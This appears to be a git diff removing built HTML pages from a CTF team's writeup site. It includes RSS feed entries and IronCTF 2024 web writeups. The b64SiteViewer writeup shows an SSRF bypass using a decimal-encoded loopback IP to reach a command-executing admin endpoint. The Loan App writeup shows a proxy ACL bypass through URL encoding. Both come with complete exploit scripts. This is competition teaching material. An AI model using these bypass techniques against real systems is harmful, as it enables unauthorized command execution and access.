18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693) It is a typical rsa challenge where you&rsquo;re given a &ldquo;leak&rdquo;: some part of the private key which allows you to retrieve it fully. - - - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - PatriotCTF 2024 - http://localhost:1313/writeups/patriotctf2024/ - Fri, 27 Sep 2024 17:24:46 +0200 - - http://localhost:1313/writeups/patriotctf2024/ - Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; - - - - m0leCon CTF 2025 Teaser - http://localhost:1313/writeups/m0lecon2025teaser/ - Sun, 15 Sep 2024 12:59:51 +0200 - - http://localhost:1313/writeups/m0lecon2025teaser/ - m0leCon CTF 2025 Teaser Description m0leCon CTF 2025 Teaser is an online jeopardy-style CTF organized by pwnthem0le. Top 10 teams will be invited to the final event, that will take place in Spring 2025 at Politecnico di Torino. -Url Discord Performance Summary CTFs: 1/18 Total points: 100 Position: 71/500 Rating points: 2.920 Writeups Crypto Yet Another OT - - - - Yet Another OT - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Sun, 15 Sep 2024 10:58:00 +0200 - - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Yet Another OT Description: Why do people always want to decrypt both messages? -Disclaimer I wasn&rsquo;t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out. -Introduction Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le. -import random from hashlib import sha256 import json import os from Crypto. - - - - Snake - http://localhost:1313/writeups/cyberspace2024/snake/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/writeups/cyberspace2024/snake/ - Snake Description: Can you slither to the win? -Link to the binary: Elf file -Introduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points. -Solution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &lsquo;slower&rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i. - - - - Feature Unlocked - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Feature unlocked Description: The world&rsquo;s coolest app has a brand new feature! Too bad it&rsquo;s not released until after the CTF.. -Link: https://feature-unlocked-web-challs.csc.tf/ -Introduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly. -Source # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto. - - - - ZipZone - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far. -Link: https://zipzone-web.challs.csc.tf/ -Introduction ZipZone is the only one web in the beginner&rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards. - - - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - trendy windy trigonity - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Trendy windy trigonity Description: have you seen Tan challenge before? see maple version pi documentation! -Introduction trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave. -from Crypto.Util.number import bytes_to_long flag = REDACTED print(len(flag)) R = RealField(1000) a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:]) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = a*cos(x)+b*sin(x) # 38 # 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45 The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. - - - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - Miku vs. Machine - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Miku vs. Machine Description: Time limit is 2 seconds for this challenge. -Official resources of challenge -Introduction The goal is to distribute the hours of n singers in m shows. Each show has a number of hours equal to l (unknown) and can only change singers once. We also want that each singer will have the same time on stage. -Solution To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours. - - - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - Some Trick - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Some Trick Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. -Introduction Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob&rsquo;s first encryption. -import random from secrets import randbelow, randbits from flag import FLAG CIPHER_SUITE = randbelow(2**256) print(f&quot;oPUN_SASS_SASS_l version 4. - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - Kirbytime - http://localhost:1313/writeups/litctf2024/kirbytime/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/writeups/litctf2024/kirbytime/ - Kirbytime Description: Welcome to Kirby&rsquo;s Website. -Introduction We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters. -Source # filename: main.py import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login. - - - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - File Sharing Portal - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files! -Introduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents. -Source The source has comments added later to allow a better understanding of the code in the writeups - - - - WaaS - http://localhost:1313/writeups/noobzctf2024/waas/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/waas/ - Waas Description: Writing as a Service! -Introduction WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it. -import subprocess from base64 import b64decode as d while True: print(&quot;[1] Write to a file\n[2] Get the flag\n[3] Exit&quot;) try: inp = int(input(&quot;Choice: &quot;).strip()) except: print(&quot;Invalid input!&quot;) exit(0) if inp == 1: file = input(&quot;Enter file name: &quot;). - - - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - - http://localhost:1313/writeups/l3akctf2025/beneath-the-surface/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/l3akctf2025/beneath-the-surface/ - Beneath the Surface Description: On the surface, this signal is nothing but meaningless noise — a mere whisper of the wind. But dive deeper into this transmission, and a storm begins to take shape, with gray skies gathering on the horizon. Can you navigate through the static and uncover what lurks beneath the surface of the wav — before it’s too late? -File Your browser does not support the audio element. - - - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/writeups/ironctf2024/b64siteviewer/index.html b/public/writeups/ironctf2024/b64siteviewer/index.html deleted file mode 100644 index 154ffb56..00000000 --- a/public/writeups/ironctf2024/b64siteviewer/index.html +++ /dev/null @@ -1,522 +0,0 @@ - - - - - - - - - - - b64SiteViewer - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
Web
- - -
Python
- - -
Filter bypass + RCE
- - -
431 points
- - -
104 solves
- - -
4rUN
- - -
- -
-

- Last edit: Oct 7, 2024 -

-
- - -
- - - -
- - - - - -

b64SiteViewer

-

Description: This is one of the challenges added later, but despite that it wasn’t very complex, in fact the most complex part wasn’t even the web part, but despite that the challenge was still really nice

- -

Introduction - - - - - - - - -

- -

We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands

- -

Source - - - - - - - - -

- -

There are two endpoints of interest to us, the first of which is this one, which, as we can see, has several filters, especially those that do not allow us to access the localhost (very strange at first glance, you might think).

-
# filename: app.py
-
-@app.route('/',methods=['GET','POST'])
-def home():
-    if request.method=='GET':
-        return render_template('home.html')
-    if request.method=='POST':
-        try:
-            url=request.form.get('url')
-            scheme=urlparse(url).scheme
-            hostname=urlparse(url).hostname
-            blacklist_scheme=['file','gopher','php','ftp','dict','data']
-            blacklist_hostname=['127.0.0.1','localhost','0.0.0.0','::1','::ffff:127.0.0.1']
-            if scheme in blacklist_scheme:
-                return render_template_string('blocked scheme')
-            if hostname in blacklist_hostname:
-                return render_template_string('blocked host')
-            t=urllib.request.urlopen(url)
-            content = t.read()
-            output=base64.b64encode(content)
-            return (f'''base64 version of the site:
-                {output[:1000]}''')
-        except Exception as e:
-                print(e)
-                return f" An error occurred: {e} - Unable to visit this site, try some other website."
-
-
-
-

We are blocked from accessing the localhost mainly to prevent us from accessing the admin endpoint, which, as we can clearly see, blocks all IPs that are not 127.0.0.1

-

-@app.route('/admin')
-def admin():
-    remote_addr = request.remote_addr
-
-    if remote_addr in ['127.0.0.1', 'localhost']:
-        cmd=request.args.get('cmd','id')
-        cmd_blacklist=['REDACTED']
-        if "'" in cmd or '"' in cmd:
-            return render_template_string('Command blocked')
-        for i in cmd_blacklist:
-            if i in cmd:
-                return render_template_string('Command blocked')
-        print(f"Executing: {cmd}")
-        res= subprocess.run(cmd, shell=True, capture_output=True, text=True)
-        return res.stdout
-    else:
-        return render_template_string("Don't hack me")
-
-
-

The admin endpoint also takes as parameter a CMD argument, which is a bash command that will be executed (Having first checked it with a blacklist)

- -

Solution - - - - - - - - -

- -

The goal is to reach /admin and execute a command to get the flag

-

The solution is divided into two phases

-
    -
  1. Bypass the filter in /
  2. -
  3. Bypass the blacklist in /admin (Blacklist we don’t know)
  4. -
- -

Bypass the first filter - - - - - - - - -

- -

In the endpoint, the hostname check is not really done correctly because it takes the hostname but does not check what format it is in or that it is valid etc and just does a very trivial comparison, so we just need to represent the IP with a different number system to bypass the filter.

- -

Bypassing the second filter - - - - - - - - -

- -

The second blacklist is much more complex, in fact initially I had many problems to understand, and especially to understand how to get the flag, as all the commands to access the ENV were blocked, but the solution as usual is much more trivial, in fact to leak the blacklist is enough to make a tail (which fortunately was not blocked) and modify the offsets with the parameters we can read part of the blacklist, Finally to get the flag is actually very simple, in fact using tail on the run. sh we can see which is the file where the environment variable of the flag is created and therefore where we can find the

- -

Final exploit - - - - - - - - -

- -
# filename: exploit.py
-
-#!/usr/bin/python3
-
-import requests
-import urllib.parse
-import base64
-
-BASE_URL = "https://b64siteviewer.1nf1n1ty.team/"
-
-PAYLOAD_CMD = urllib.parse.quote("tail run???")
-URL_HOOK = "http://2130706433:5000/admin?cmd=" + PAYLOAD_CMD # We use 2130706433 instead of 127.0.0.1 because is blocked by the WAF
-
-def send_url(url):
-  data = {"url": url}
-  response = requests.post(BASE_URL, data=data)
-  try:
-    return response.text.split("base64 version of the site:")[1].strip()[2:-1], True
-  except:
-    return response.text, False
-
-def main():
-  print("[+] URL: ", URL_HOOK)
-  res_base64,status = send_url(URL_HOOK)
-  if status:
-    print("[+] Result of exploit: ", base64.b64decode(res_base64).decode())
-  else:
-    print(f"[+] Error in the requests: {res_base64}")
-
-
-if __name__ == "__main__":
-  main()
-
-
-# goodluck by @akiidjk
-
-
-
$ flag: ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}"
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/ironctf2024/b64viewer/index.html b/public/writeups/ironctf2024/b64viewer/index.html deleted file mode 100644 index 8d8a6633..00000000 --- a/public/writeups/ironctf2024/b64viewer/index.html +++ /dev/null @@ -1,518 +0,0 @@ - - - - - - - - b64SiteViewer - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
Web
- - -
Python
- - -
Filter bypass + RCE
- - -
431 points
- - -
104 solves
- - -
4rUN
- - -
- -
-

- Last edit: Oct 7, 2024 -

-
- - -
- - - -
- - - - - -

b64SiteViewer

-

Description: This is one of the challenges added later, but despite that it wasn’t very complex, in fact the most complex part wasn’t even the web part, but despite that the challenge was still really nice

- -

Introduction - - - - - - - - -

- -

We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands

- -

Source - - - - - - - - -

- -

There are two endpoints of interest to us, the first of which is this one, which, as we can see, has several filters, especially those that do not allow us to access the localhost (very strange at first glance, you might think).

-
# filename: app.py
-
-@app.route('/',methods=['GET','POST'])
-def home():
-    if request.method=='GET':
-        return render_template('home.html')
-    if request.method=='POST':
-        try:
-            url=request.form.get('url')
-            scheme=urlparse(url).scheme
-            hostname=urlparse(url).hostname
-            blacklist_scheme=['file','gopher','php','ftp','dict','data']
-            blacklist_hostname=['127.0.0.1','localhost','0.0.0.0','::1','::ffff:127.0.0.1']
-            if scheme in blacklist_scheme:
-                return render_template_string('blocked scheme')
-            if hostname in blacklist_hostname:
-                return render_template_string('blocked host')
-            t=urllib.request.urlopen(url)
-            content = t.read()
-            output=base64.b64encode(content)
-            return (f'''base64 version of the site:
-                {output[:1000]}''')
-        except Exception as e:
-                print(e)
-                return f" An error occurred: {e} - Unable to visit this site, try some other website."
-
-
-
-

We are blocked from accessing the localhost mainly to prevent us from accessing the admin endpoint, which, as we can clearly see, blocks all IPs that are not 127.0.0.1

-

-@app.route('/admin')
-def admin():
-    remote_addr = request.remote_addr
-
-    if remote_addr in ['127.0.0.1', 'localhost']:
-        cmd=request.args.get('cmd','id')
-        cmd_blacklist=['REDACTED']
-        if "'" in cmd or '"' in cmd:
-            return render_template_string('Command blocked')
-        for i in cmd_blacklist:
-            if i in cmd:
-                return render_template_string('Command blocked')
-        print(f"Executing: {cmd}")
-        res= subprocess.run(cmd, shell=True, capture_output=True, text=True)
-        return res.stdout
-    else:
-        return render_template_string("Don't hack me")
-
-
-

The admin endpoint also takes as parameter a CMD argument, which is a bash command that will be executed (Having first checked it with a blacklist)

- -

Solution - - - - - - - - -

- -

The goal is to reach /admin and execute a command to get the flag

-

The solution is divided into two phases

-
    -
  1. Bypass the filter in /
  2. -
  3. Bypass the blacklist in /admin (Blacklist we don’t know)
  4. -
- -

Bypass the first filter - - - - - - - - -

- -

In the endpoint, the hostname check is not really done correctly because it takes the hostname but does not check what format it is in or that it is valid etc and just does a very trivial comparison, so we just need to represent the IP with a different number system to bypass the filter.

- -

Bypassing the second filter - - - - - - - - -

- -

The second blacklist is much more complex, in fact initially I had many problems to understand, and especially to understand how to get the flag, as all the commands to access the ENV were blocked, but the solution as usual is much more trivial, in fact to leak the blacklist is enough to make a tail (which fortunately was not blocked) and modify the offsets with the parameters we can read part of the blacklist, Finally to get the flag is actually very simple, in fact using tail on the run. sh we can see which is the file where the environment variable of the flag is created and therefore where we can find the

- -

Final exploit - - - - - - - - -

- -
# filename: exploit.py
-
-#!/usr/bin/python3
-
-import requests
-import urllib.parse
-import base64
-
-BASE_URL = "https://b64siteviewer.1nf1n1ty.team/"
-
-PAYLOAD_CMD = urllib.parse.quote("tail run???")
-URL_HOOK = "http://2130706433:5000/admin?cmd=" + PAYLOAD_CMD # We use 2130706433 instead of 127.0.0.1 because is blocked by the WAF
-
-def send_url(url):
-  data = {"url": url}
-  response = requests.post(BASE_URL, data=data)
-  try:
-    return response.text.split("base64 version of the site:")[1].strip()[2:-1], True
-  except:
-    return response.text, False
-
-def main():
-  print("[+] URL: ", URL_HOOK)
-  res_base64,status = send_url(URL_HOOK)
-  if status:
-    print("[+] Result of exploit: ", base64.b64decode(res_base64).decode())
-  else:
-    print(f"[+] Error in the requests: {res_base64}")
-
-
-if __name__ == "__main__":
-  main()
-
-
-# goodluck by @akiidjk
-
-
-
$ flag: ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}"
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/writeups/ironctf2024/image.png b/public/writeups/ironctf2024/image.png deleted file mode 100644 index eece36d4..00000000 Binary files a/public/writeups/ironctf2024/image.png and /dev/null differ diff --git a/public/writeups/ironctf2024/index.html b/public/writeups/ironctf2024/index.html deleted file mode 100644 index 03658f99..00000000 --- a/public/writeups/ironctf2024/index.html +++ /dev/null @@ -1,431 +0,0 @@ - - - - - - - - - - - IRON CTF 2024 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Web
- - -
Crypto
- - -
Android
- - -
GameHacking
- - -
Pwn
- - -
Rev
- - -
Misc
- - -
- -
-

- Last edit: Oct 6, 2024 -

-
- - -
- - - -
- - - - - - -

IRON CTF 2024 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)!

-

Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you’re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition.

-

Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more.

-

Good luck, and happy hacking!

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 14/55
  • -
  • Total points: 4769
  • -
  • Position: 41/1033
  • -
  • Rating points: 7.644
  • -
- -

Writeups - - - - - - - - -

- - -

Web - - - - - - - - -

- - - -

Crypto - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/ironctf2024/loan_app/index.html b/public/writeups/ironctf2024/loan_app/index.html deleted file mode 100644 index 47d72d44..00000000 --- a/public/writeups/ironctf2024/loan_app/index.html +++ /dev/null @@ -1,512 +0,0 @@ - - - - - - - - - - - Loan App - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
Proxy bypass
- - -
394 points
- - -
129 solves
- - -
Vigneswar
- - -
- -
-

- Last edit: Oct 6, 2024 -

-
- - -
- - - -
- - - - - -

Loan app

-

Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution)

- -

Introduction - - - - - - - - -

- -

This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do ‘request smuggling’, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend.

-

Solve intended: Something like this

- -

Source - - - - - - - - -

- -

We focus on the proxy config

-
# filename: file.py
-
-global
-    log stdout format raw local0
-    maxconn 2000
-    user root
-    group root
-    daemon
-
-defaults
-    log global
-    option httplog
-    timeout client 30s
-    timeout server 30s
-    timeout connect 30s
-
-frontend http_front
-    mode http
-    bind :80
-    acl is_admin path_beg /admin # Miss config
-    http-request deny if is_admin # Miss config
-    default_backend gunicorn
-
-backend gunicorn
-    mode http
-    balance roundrobin
-    server loanserver loanapp:8000 maxconn 32
-
-
-

And win function

-
# filename: app.py
-
-@app.route('/admin/loan/<loan_id>', methods=['POST'])
-def admin_approve_loan(loan_id):
-    try:
-        mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}})
-        return 'OK', 200
-    except:
-        return 'Internal Server Error', 500
-
-
-

Comments added by me

- -

Solution - - - - - - - - -

- -

The solution is very simple: just read the source code, register and login, and create a loan. Once this is done, thanks to the /admin/loan/id endpoint, the loan is approved by setting the flag

- -

Exploit - - - - - - - - -

- -
# filename: exploit.py
-
-#!/usr/bin/python3
-
-import http
-import requests
-from uuid import uuid4
-from bs4 import BeautifulSoup
-import urllib3.util
-
-BASE_URL = "http://loanapp.1nf1n1ty.team/"
-s = requests.Session()
-
-def login(username,password):
-  r = s.post(BASE_URL + "login", data={"username": username, "password": password})
-  if r.status_code == 200:
-    print("[+] Login successful")
-  else:
-    print("[-] Login failed: " + r.text)
-    exit(1)
-
-def register(username,password):
-  r = s.post(BASE_URL + "register",data={"username": username, "password": password})
-  if r.status_code == 200:
-    print("[+] Registration successful")
-  else:
-    print("[-] Registration failed: " + r.text)
-    exit(1)
-
-
-def loan_request():
-  r = s.post(BASE_URL + "loan-request", data={"amount": "696969696969696969", "reason": "I need money for cookies"})
-  if r.status_code == 200:
-    print("[+] Loan request successful")
-  else:
-    print("[-] Loan request failed: " + r.text)
-    exit(1)
-
-def get_loan_id():
-  r = s.get(BASE_URL)
-  soup = BeautifulSoup(r.text, 'html.parser')
-  loan_id = soup.find("span", attrs={"class":"loan-id"}).text.strip().split(": ")[1]
-  return loan_id
-
-def exploit(loan_id):
-  conn = http.client.HTTPConnection(urllib3.util.parse_url(BASE_URL).host)
-  conn.request("POST", f"/%61dmin/loan/{loan_id}") # Use http instead of requests for avoid auto url encoding of requests
-  response = conn.getresponse()
-  if response.status != 200:
-    print("[-] Exploit failed")
-    exit(1)
-
-def get_flag():
-  r = s.get(BASE_URL)
-  soup = BeautifulSoup(r.text, 'html.parser')
-  return soup.find("p", attrs={"class": "loan-message"}).text.strip()[7:]
-
-def main():
-  username, password = uuid4(), uuid4()
-  print(f"Username: {username} Password: {password}")
-  register(username,password)
-  login(username,password)
-  loan_request()
-  loan_id = get_loan_id()
-  print(f"[+] Loan ID: {loan_id}")
-  exploit(loan_id)
-  print(f"[+] Flag: {get_flag()}")
-
-
-if __name__ == "__main__":
-  main()
-
-# goodluck by @akiidjk
-
-
-
$flag: ironCTF{L04n_4ppr0v3d_f0r_H4ck3r$!!}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/ironctf2024/moviereviewapp/index.html b/public/writeups/ironctf2024/moviereviewapp/index.html deleted file mode 100644 index fac68988..00000000 --- a/public/writeups/ironctf2024/moviereviewapp/index.html +++ /dev/null @@ -1,522 +0,0 @@ - - - - - - - - - - - MovieReviewApp - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
Information leak
- - -
483 points
- - -
53 solves
- - -
Vigneswar
- - -
- -
-

- Last edit: Oct 7, 2024 -

-
- - -
- - - -
- - - - - -

MovieReviewApp

-

Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools

- -

